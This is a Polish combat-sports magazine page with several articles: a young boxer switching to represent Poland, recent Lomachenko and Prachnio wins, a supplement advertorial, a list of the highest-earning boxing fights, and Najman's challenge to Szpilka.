Na początku 2017 roku Jessica Żelazko wywalczyła wicemistrzostwo Anglii, a dwa dni później pokonała mistrzynię Irlandii. Po tych sukcesach w kadrze, awansowała na poziom „Challenge”, czyli uzyskała możliwość reprezentowania Anglii na międzynarodowych turniejach. Jednak w międzyczasie, Jessica coraz częściej zastanawiała się, czy nie mogłaby występować, jako reprezentantka kraju, z którego pochodzi, czyli z Polski. Kilka lat wcześniej była już dwukrotnie w Polsce na turniejach bokserskich, które oczywiście wygrała, a w jednym z nich otrzymała również nagrodę dla najlepszego zawodnika turnieju w swojej kategorii. Miała również okazję trenować gościnie w kilku klubach w Polsce, głównie w Warszawie.

""

Dzięki Fundacji im. Feliksa Stamma poznała trenera Jacka Dymowskiego z Żoliborskiej Szkoły Boksu, z którym wspólnie zdecydowali się wystartować w Ogólnopolskiej Olimpiadzie Młodzieży. Jessica kolejny raz, dla boksu musiała poświęcić „życie prywatne”, ponieważ w tym samym czasie w Anglii odbywał się jej bal z okazji zakończenia szkoły. Jest to ważna uroczystość dla absolwentów szkół średnich, podobnie jak bal maturalny w Polsce. Jednak Jessica postanowiła wystąpić na OOM i była to słuszna decyzja. W Pułtusku wywalczyła mistrzostwo Polski oraz nagrodę dla najlepszej zawodniczki turnieju. Po tym sukcesie otrzymała powołanie do Młodzieżowej Kadry Polski i… stanęła przed kolejną trudną, życiową decyzją – który kraj reprezentować w przyszłości? Czy wybrać starty jako zawodniczka Wielkiej Brytanii  i reprezentować kraj, w którym się wychowała, w którym ma przyjaciół, szkołę, dom i w którym mieszkają jej rodzice i brat, czy może reprezentować kraj, w którym się urodziła.

O dziwo nie zastanawiała się zbyt długo. Po rozmowie z rodzicami wspólnie zdecydowali o szybkim powrocie do Polski, by Jessica mogła w ringu reprezentować Biało-Czerwonych i dla nich zdobywać medale. Jessica Żelazko na pewno będzie reprezentować naszą Ojczyznę już w listopadzie tego roku na Mistrzostwach Świata w Indiach, a trener Jacek Dymowski nie ukrywa, że ich dalszym celem jest Olimpiada w Tokio w 2020 roku.

Nie pozostaje nam nic innego jak tylko pogratulować Polskiej Kadrze, nowej,wspaniałej zawodniczki, a samej zawodniczce życzyć sukcesów w biało-czerwonych barwach i podziękować za mądrą i dojrzałą decyzję.

Obecnie Jessica i jej rodzina, muszą jednak stoczyć kolejną walkę, a mianowicie zorganizować przeprowadzkę z Wielkiej Brytanii do Polski, praktycznie z dnia na dzień. Dlatego też, poszukiwane są firmy oraz sponsorzy prywatni, którzy zechcieliby wspomóc tę młodą zawodniczkę, by jak najszybciej mogła zamieszkać w swojej Ojczyźnie i skupić się na treningach i oczywiście nauce w nowej szkole. Zwracamy się również do wszystkich czytelników o wsparcie Jessici w jej dążeniu do celu i trzymanie za nią kciuków, bo z pewnością w najbliższym czasie będzie zdobywać medale dla na nas wszystkich, dla Polski.

FightExpert Magazin

Łomaczenko ponownie zwycięski

Wasyl Łomaczenko nie zwalnia tempa. 29-letni Ukrainiec pokonał w Los Angeles Miguela Marriagę i tym samym po raz szósty z rzędu wygrał przed czasem.

Od ponad roku w posiadaniu Ukraińca znajduje się pas mistrzowski WBO w wadze super piórkowej. Łomaczenko ponownie potwierdził swoją dominację i udowodnił, że określanie go jednym z najlepszych bokserów na świecie nie jest na wyrost.

Zawodowy amator

Można zaryzykować stwierdzenie, że 29-latek nadal buduje pozycję w zawodowym boksie. Choć w swoim dorobku zapisał pas WBO w kategorii piórkowej i super piórkowej, to stoczył zaledwie dziesięć walk. Ale pierwszy pojedynek zawodowy stoczył dopiero w październiku 2013 roku. W ciągu 3,5 roku zbudował silną pozycję w świecie boksu. Łomaczenko jest określany jako jeden z najlepszych pięściarzy świata bez podziału na kategorie wagowe.

Już na amatorstwie zawodnik z Białogrodu imponował umiejętnościami. Pierwszy sukces odniósł w wieku 19 lat zdobywając w Chicago (2007) srebrny medal mistrzostw świata w kategorii piórkowej. To był dopiero początek lawiny sukcesów w wykonaniu Łomaczenki. Na swoim koncie Ukrainiec zapisał dwa złote medale igrzysk olimpijskich w Pekinie i w Londynie, ale w 2012 roku rywalizował już w kategorii lekkiej. Zdobywał również mistrzostwo świata (dwukrotnie) i mistrzostwo Europy. Łącznie stoczył blisko 400 walk amatorskich.

Zdobyte doświadczenie Łomaczenko świetnie wykorzystuje na zawodowstwie. W Los Angeles Ukrainiec zdał kolejny test. Jego rywalem był 30-letni Miguel Marriaga, który za wszelką cenę chciał zdobyć pas mistrzowski. Blisko cztery miesiące temu rywalizował z Oscarem Valdez o tytuł w wadze piórkowej, ale przegrał na punkty. Kolumbijczyk postanowił spróbować swoich sił w wyższej kategorii, lecz ponownie musiał obejść się smakiem.

Bez litości dla rywala

Łomaczenko walkę z Marriagą zaczął w swoim stylu. Ruszył do przodu, niepokoił rywala, delikatnie budował swoją przewagę. Po raz pierwszy odpalił w trzeciej rundzie, gdy Kolumbijczyk otrzymał dwa lewe proste i padł na deski. O tym, że Łomaczenko potrafi robić show, nikogo nie trzeba przekonywać. Ukrainiec stanął w narożniku i zaprosił rywala do walki. Reakcja publiczności była niezwykle entuzjastyczna.

Nie zabrakło krwi, która pojawiła się na twarzy… mistrza. W czwartej rundzie zawodnicy przypadkowo zderzyli się głowami. Z każdą odsłoną sytuacji Marriagi coraz bardziej komplikowała się. W siódmej rundzie maszyna ruszyła. Łomaczenko odpalał kolejne ciosy, obijał dół, dodawał podbródkowe, Kolumbijczyk nie mógł wytrzymać tego naporu. Marriaga padł na deski, wstał i udał się do narożnika, który zdecydował o poddaniu walki.

Na konto czempiona WBO wpłynie 750 tysięcy dolarów, z kolei pokonany musi zadowolić się 50 tysiącami.

Fot. Facebook Wasyl Łomaczenko

KM

Prachnio znów wygrywa przed czasem

Marcin Prachnio (MMA) odniósł trzynaste zwycięstwo w karierze. Na gali One Championship: Kings & Conquerors w Makau Polak znokautował Gilberto Galvao. Szczęścia nie miał Michał Pasternak. 33-latek zanotował trzecią porażkę podczas przygody z organizacją One Championship.

29-letni Prachnio, rywalizujący w kategorii półciężkiej, kontynuuje fantastyczną passę zwycięstw. W Makau wygrał ósmy pojedynek z rzędu.

Dziewiąty raz

Marcin Prachnio jest szybki i skuteczny jak kobra. Nie kalkuluje, nie czeka na rywala, lecz rusza do przodu i dopada do swojej ofiary, aby zadać decydujący cios. W Makau Polak spotkał się z doświadczonym Brazylijczykiem Gilberto Galvao. 35-latek z niejednego pieca chleb jadł i na swoim koncie zapisał 29 zwycięstw. Jednak sześć lat młodszy Prachnio pokazał Brazylijczykowi, czym jest skuteczność.

Prachnio zdecydowanie przystąpił do rywalizacji z Galvao. Nie minęło półtorej minuty i wszystko było jasne. Potężny prawy powalił Brazylijczyka na deski, Polak dobił rywala uderzeniami w parterze. Sędzia dostrzegł, że 35-latek nie jest w stanie przeciwstawić się naporowi przeciwnika i przerwał starcie. Prachnio ponownie mógł wznieść ręce w geście triumfu.

Co warto podkreślić, dla 29-latka było to dziewiąte zwycięstwo odniesione w pierwszej rundzie. Dotychczas w singapurskiej organizacji One Championship Prachnio stoczył cztery walki, trzy z nich zakończył w premierowej odsłonie.

Kolejna porażka Pasternaka

Na gali w Makau zaprezentował się również Michał Pasternak. Rywalem Polaka był Leandro Ataides, który ponad rok temu napsuł sporo krwi Marcinowi Prachnio. Jednak Brazylijczyk nie ma najlepszych wspomnień z tamtego spotkania. W Makau ponownie udowodnił, że jest trudnym przeciwnikiem, jednak tym razem Ataides miał powody do radości. Po upływie trzech rund 30-latek wygrał na punkty. Z kolei dla Pasternak poniósł trzecią porażkę podczas przygody z organizacją One Championship.

33-latek był pierwszym Polakiem, który podpisał kontrakt z singapurską organizacją. Pasternak zaliczył udany debiut, wygrywając w grudniu 2014 roku z Rafaelem Silvą. Pół roku później Polak dostał szansę rywalizacji o pas mistrzowski. Roger Gracie zapiął trójkąt rękami i wygrał przez poddanie. Od tamtej pory Pasternak zanotował tylko jedno zwycięstwo. Na gali PLMMA 73 pokonał Sylwestra Borysa.

Fot. sherdog

KM

Mass Attack – polecany produkt na rozwój masy mieśniowej

W sklepach specjalizujących się w sprzedaży suplementów diety i odżywek dla sportowców można odnaleźć wiele produktów, które mają wspomóc budowanie masy mięśniowej. Jednak nie wszystkie z nich są godne uwagi – np. zawierają jeden składnik lub mają nieodpowiednio dobrane proporcje. Swoją uwagę lepiej skierować ku produktom, które kompleksowo wspierają organizm w czasie dużego wysiłku takich, jakim jest np. Mass Attack – jeden z najnowszych i chętnie polecanych przez specjalistów suplement diety na rozwój masy mięśniowej.

Dlaczego warto wybrać Mass Attack?

Mass Attack jest suplementem diety, który został stworzony przede wszystkim z myślą o osobach, które poważnie podchodzą do budowania masy mięśniowej, np. chcą brać udział w zawodach kulturystycznych. Z produktu mogą korzystać również pełnoletnie osoby, które chcą rozpocząć przygodę z bardziej wymagającymi ćwiczeniami, które wiążą się z dużym wysiłkiem i wycieczeniem organizmu. Szczególnie polecany jest dla osób, których treningi są krótkie, ale intensywne.

Skład produktu został dobrany w taki sposób, aby kompleksowo dopowiadać na potrzeby organizmu. Znajdują się w nim składniki, które przede wszystkim wspomagają rozbudowę mięśni i tworzenie nowych struktur mięśniowych (odpowiednio dobrane grupy aminokwasów), ale w Mass Attack można znaleźć również składniki wspomagające regenerację organizmu po treningu (np. witamina B12), czy chroniące mięśnie i stawy przed degeneracją lub kontuzja w czasie ćwiczeń (np. hydrolizowany kolagen czy witamina E). Odpowiednio dobrane proporcje w tym preparacje pozwalają na uzyskanie optymalnych efektów. Trzeba jednak pamiętać o tym, że najlepsze efekty w budowaniu masy mięśniowej uzyska się przy odpowiednim połączeniu treningów, stosowanych suplementów diety i przygotowaniu zbilansowanej diety. W tym celu najlepiej zwrócić się o poradę do trenera lub dietetyka.

Jak należy stosować suplement diety wspomagający budowanie masy mięśniowej Mass Attack?

Producent zaleca stosowanie 5 miarek produktu (około 50 gram) na 220 ml wody lub mleka. Taką ilość proszku należy dokładnie wymieszać z płynem. Do przygotowania napoju najlepiej użyć shakera, przy pomocy którego łatwo rozprowadzi się proszek bez powstania grudek. Zaleca się picie tak przygotowanego roztworu około 15 minut po zakończonym treningu. Co istotne, zaleca się także przyjmowanie suplementu diety również w dniach, kiedy trening się nie odbywa. Produkt jest przeznaczony wyłącznie dla osób dorosłych i najlepiej stosować go po konsultacji z trenerem i dietetykiem. Wówczas najlepiej suplement diety przyjąć pomiędzy posiłkami. Warto też pamiętać o odpowiednim przechowywaniu produktu – po jego otwarciu należy trzymać je szczelnie zabezpieczone w temperaturze nieprzekraczającej 25 stopni Celsjusza.

Najwyższe zarobki bokserów w historii boksu

O tym, że podczas jednej walki bokserskiej do wygenerowania możliwe są przychody, o jakich mogą pomarzyć nawet piłkarze, wiedzą wszyscy. Trudno się temu dziwić, gdyż zintensyfikowana i kompaktowa walka bokserska potrafi dostarczyć kibicom takich emocji, jakich nie jest w stanie żadna inna rozgrywka sportowa. Nie dziwi zatem niemalejąca popularność boksu zarówno wśród oglądających, jak i aktywnie obstawiających zakłady bukmacherskie. Kto i ile zarobił podczas 5 najdroższych walk w historii? Sprawdźmy.

5. Mike Tyson vs. Evander Holyfield 1(1996), “Finally”

Mowa tutaj o walce pomiędzy Tysonem a Holyfieldem z 1996 roku. Nie jest to jednak ta, którą pamiętają wszyscy, a która miała miejsce zaledwie rok później. Okoliczności walki nie były "kolorowe" dla obu zawodników, gdyż zdawać by się mogło, że dopiero wracali na arenę światowego boksu. W świetle odzyskania tytułu przez Tysona i kilku mało znaczących zwycięstwie Holyfielda wszyscy obstawiali, że to właśnie ten pierwszy wygra z przytłaczającą przewagą.

W pierwszej rundzie kibice mogli być świadkiem ostrej wymiany ciosów niczym z filmu. W kolejnej Holyfield wyprowadził cios, który chwilowo ogłuszył Tysona. Jednak, jak się okazało później, sam niezbyt pewnie trzymał się już na nogach. Kolejne rundy pokazały znaczącą dominację Holyfielda. W 10 rundzie przed jego szarżą Tyson został uratowany przez gong. Mike w całej swojej karierze nie zaliczył tak sromotnej przegranej. Pomimo porażki zarobił on 30 mln dolarów.

4. Evander Holyfield vs. Mike Tyson 2 (1997), “The Sound and The Fury AKA The Bite Fight”

Walka pomiędzy Holyfieldem a Tysonem z 1997 roku przeszła do historii, nie tylko jako jedna z najdroższych, ale również jedna z najbardziej kontrowersyjnych.

To właśnie w czasie jej trwania, gdy Evander znowu zyskiwał przewagę nad Tysonem, Mike podjął się desperackiej próby przechylenia walki na swoją korzyść. Gdy doszło do klinczu w 3 rundzie, odgryzł kawałek ucha Evanderowi. Sędzia poprosił o przerwę, gdyż sytuacja była tak niespotykana, że ciężko było mu zdecydować, co zrobić w takiej sytuacji. Mike nie został zdyskwalifikowany i oboje zawodników powróciło na ring. Kontynuacja 3 rundy i kolejny klincz był okazją dla Tysona dla odgryzienia kawałka drugiego ucha swojego przeciwnika. Gdy po walce kolejny "faul" wyszedł na jaw, Mike został zdyskwalifikowany, a Holyfield otrzymał tytuł mistrzowski. Za tą walkę Evander zainkasował 35 mln dolarów.

3. Oscar De La Hoya vs. Floyd Mayweather (2007), “The World Awaits”

Walka Oscara De La Hoya i Floyda Mayweathera z 2007 roku była tą, która przyćmiła oglądalnością legendarną walkę pomiędzy Tysonem i Holyfieldem sprzed 10 lat.

Podczas walki mogliśmy obserwować nieustanne próby natarcia ze strony Oscara De La Hoya, lecz były one często stopowane przez lewy prosty Mayweathera. Inne natomiast kończyły się klinczem jedną ręką lub wychodzeniem poza dystans poprzez odepchnięcie i odskok.

Ostatecznie to Mayweather wygrał niejednogłośną decyzją sędziów. Była to ostatnia walka, w której ktoś zarobił więcej niż Floyd. De La Hoya zgarnął za ten pojedynek 52 mln dolarów.

2. Floyd Mayweather vs. Canelo Alvarez (2013), “The One”

Historia nie odnotowała do tego czasu tak wysokiej stawki, jaką za walkę zgarnął jej zwycięzca (80 mln dolarów dla Floyda). Mające miejsce w roku 2013 wydarzenie sportowe, zaskoczyło wszystkich wielbicieli boksu taktyką objętą przez obu zawodników.

Fani Canelo byli zadziwieni odmienną od jego innych walk postawą. Bardzo agresywny w większości potyczek zawodnik tym razem bił się wyjątkowo zachowawczo. Większość podejmowanych akcji z jego strony była jedynie kontratakiem na lewe proste Mayweathera. Można było odnieść wrażenie, że zachowywał on także większą niż zazwyczaj oszczędność w ilości zadawanych ciosów.

Niestety próby przejęcia inicjatywy były niewystarczające dla odniesienia zwycięstwa, a walka została wygrana przez Floyda.

""

1. Floyd Mayweather vs. Manny Pacquiao (2015), “The Fight of the Century” lub “The Battle for Greatness”

Najdroższe walki, jakie pamięta historia boksu sportowego, które wymieniliśmy do tej pory, nie pozwoliły zainkasować takich kwot, jakie zgarnęli Mayweather i Pacquiao w imprezie z roku 2015. Pod względem intensywności, jak i obrotu sum pieniężnych, walka ta została ogłoszona "walką stulecia".

Potyczka była starciem 2 całkowicie odmiennych od siebie stylów. Znany ze swojej szybkości i nieustępliwości Manny nie odpuszczał ani na krok cofającego się Mayweathera. Mimo tego żadna z jego akcji nie zakończyła się nokautem. Sędziowie uznali, że kontrataki Mayweathera były skuteczniejsze, co ostatecznie zadecydowało o jego zwycięstwie. Po walce, na jego konto spłynęło 180 mln dolarów.

Do najbardziej kasowych walk w historii boksu, może niedługo już dołączyć kolejna. Wciąż pełen sił i werwy do walki Floyd Mayweather zmierzy się już 26 sierpnia z gwiazdą MMA McGregorem Conorem. Przy obecnych spekulacjach Floyd może zarobić na tym między 200 a 300 milionów dolarów! Eksperci i najlepsi bukmacherzy zgodnie obstawiają, że zwycięzcą będzie „Money”.

Najdroższe walki w historii boksu przejdą do annałów zarówno ze względu na zainwestowany kapitał, jak i samych czołowych zawodników, którzy dawali od siebie czasem nawet więcej, niż oczekiwałby od nich tego sam tłum.

Najman proponuje, Szpilka niezainteresowany?

Nietypowa propozycja Marcina Najmana skierowana do Artura Szpilki. Popularny „El Testosteron” chciałby zmierzyć się, że „Szpilą” w przyszłym roku na stadionie PGE Narodowym.

Artur Szpilka znajduje się na zakręcie. Wrócił na ring po półtorarocznej przerwie i w Nowym Jorku przegrał przez techniczny nokaut z Adamem Kownackim.

Propozycja nie do odrzucenia?

Szpilka zanotował dwie porażki z rzędu. Wymarzony świat wielkich walk bokserskich oddala się od boksera urodzonego w Wieliczce. W Szpilkę wierzy Marcin Najman, który zamieścił na swoim Facebooku krótki film skierowany do 28-latka. – Witam Cię Artur! Na wstępie chciałem powiedzieć, że bardzo mi przykro, że przechodzisz teraz tak trudny moment. Nigdy mi nie wchodziłeś w drogę, a ja ludziom, którzy mi nie wchodzą w drogę zawsze życzę dobrze, więc i tobie życzę wszystkiego dobrego. Kiedyś przechodziłem w swoim życiu tak trudny moment jak ty teraz. Przegrałem trzy walki z rzędu, choć ta porażka z Saletą to tak naprawdę oszustwo sędziowskie, a nie porażka. Ale mimo wszystko był to bardzo trudny moment dla mnie. Podniosłem się, od tamtego czasu wygrałem cztery walki, wszystkie przed czasem – mówił Marcin Najman.

Bokser i zawodnik MMA chciałby spotkać się w ringu ze Szpilką. Termin: 26 maja 2018, miejsce: PGE Narodowy. Pojedynek miałby odbyć się na zasadach bokserskich. – Ludzi ocenia się po tym jak potrafią wstawać, a nie upadać. Artur, jestem przekonany, że dasz sobie radę i wstaniesz. I w tym miejscu przychodzę do ciebie z pomocną dłonią, ponieważ mam dla ciebie propozycję walki na jednej z największej gal sportów walki jakie się odbędą w Polsce – tłumaczy Najman.

Co na ten temat sądzisz Artur Szpilka? Po walce z Kownackim jego aktywność w mediach społecznościowych spadła, jednak zaczepiony na Twitterze przez Łukasz Jurkowskiego krótko ustosunkował się do propozycji Najmana. Bokser wymownie napisał: „Przestań Amigo proszę”.

Szpilka jeszcze w tym roku

Najman chciałby, aby gala, której jest organizatorem była wielkim wydarzeniem. Z pewnością Artur Szpilka wzbudziłby zainteresowanie kibiców. Jednak już teraz wiele osób nie traktuje poważnie propozycji Najmana.

Sam Szpilka jak najszybciej musi się odbudować po porażce z Kownackim. Niewykluczone, że w tym roku stoczy jeszcze dwie walki. Pierwszą ze słabszym rywalem, zaś kolejna prawdopodobnie miałaby miejsce 2 grudnia.

KM